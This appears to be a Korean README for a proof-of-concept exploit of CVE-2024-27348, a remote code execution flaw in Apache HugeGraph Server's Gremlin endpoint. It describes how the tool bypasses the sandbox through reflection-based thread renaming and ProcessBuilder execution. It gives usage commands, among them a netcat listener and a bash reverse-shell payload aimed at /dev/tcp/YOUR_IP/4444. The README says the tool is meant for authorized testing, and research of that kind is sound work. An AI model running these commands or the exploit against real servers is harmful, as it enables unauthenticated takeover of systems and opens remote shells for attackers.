
CVE-2024-27348에 대한 고급 PoC 악용 코드로, 샌드박스 우회 및 비블라인드 명령 실행을 통해 Apache HugeGraph에서 안정적인 RCE를 달성합니다.
CVE-2024-27348(Apache HugeGraph Server의 원격 코드 실행)을 위한 고급의 신뢰성 높은 PoC(Proof of Concept) 익스플로잇입니다.
Java의 Runtime.exec() 제한으로 인해 명령을 맹목적으로 실행하거나 복잡한 페이로드에서 실패하는 많은 공개 PoC와 달리, 이 스크립트는 실제 침투 테스트 시나리오에서의 신뢰성을 위해 설계되었습니다.
교육 및 승인된 테스트 목적으로만 사용하세요. 이 도구는 보안 연구자, 침투 테스터 및 시스템 관리자가 승인된 환경에서 취약점을 확인할 수 있도록 제공됩니다. 작성자는 이 도구의 오용이나 이로 인한 피해에 대해 책임을 지지 않습니다.
이 익스플로잇은 초기 공개 PoC의 세 가지 주요 문제를 해결합니다:
gremlin-server-exec-* 또는 task-worker-*인 경우 실행을 차단합니다. 이 페이로드는 Java Reflection을 사용하여 페이로드를 트리거하기 전에 실행 스레드 이름을 로 동적으로 변경하여 보안 관리자를 원활하게 회피합니다.BypassThreadRuntime.getRuntime().exec(String) 대신, 이 익스플로잇은 적절히 형식화된 List<String>과 함께 ProcessBuilder를 사용합니다. 이를 통해 따옴표와 리다이렉션이 포함된 복잡한 페이로드를 안전하게 실행할 수 있습니다.Scanner를 사용하여 실행된 프로세스의 InputStream을 읽고 JSON HTTP 응답에 명령의 실제 출력을 반환합니다. 서버가 보는 것을 그대로 볼 수 있습니다.requests 라이브러리필요한 종속성 설치:
pip3 install requests
python3 exploit.py -u <TARGET_URL> -c <COMMAND>
예시
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "whoami"
# 공격자 머신에서 리스너 시작:
nc -lvnp 4444
# 익스플로잇 실행:
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
Apache HugeGraph Server는 사용자가 Groovy 스크립트를 제출할 수 있는 Gremlin API 엔드포인트(/gremlin)를 노출합니다. 패치 이전 버전의 샌드박싱이 불충분하여 인증되지 않은 공격자가 Java Reflection을 통해 임의의 운영 체제 명령을 실행할 수 있습니다.